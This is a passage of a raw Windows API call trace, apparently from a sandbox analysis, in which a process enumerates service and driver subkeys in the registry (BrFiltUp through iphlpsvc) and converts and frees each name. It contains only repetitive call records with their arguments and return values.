[0248.067] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.067] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.067] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0248.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.068] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.068] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbmdm", lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.068] RegEnumKeyW (in: hKey=0x154, dwIndex=0x37, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbSer") returned 0x0 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbser", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brusbser", lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.068] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.068] RegEnumKeyW (in: hKey=0x154, dwIndex=0x38, lpName=0x2152850, cchName=0x104 | out: lpName="BTHMODEM") returned 0x0 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0248.068] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.069] RegEnumKeyW (in: hKey=0x154, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.069] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.069] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0248.069] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.069] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0248.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0248.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0248.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1bf8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0248.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0248.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0248.070] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0248.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0248.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0248.070] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0248.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1b68, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0248.070] RegEnumKeyW (in: hKey=0x154, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0248.071] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0248.072] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0248.073] RegEnumKeyW (in: hKey=0x154, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0248.074] RegEnumKeyW (in: hKey=0x154, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0248.075] RegEnumKeyW (in: hKey=0x154, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0248.076] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0248.077] RegEnumKeyW (in: hKey=0x154, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | 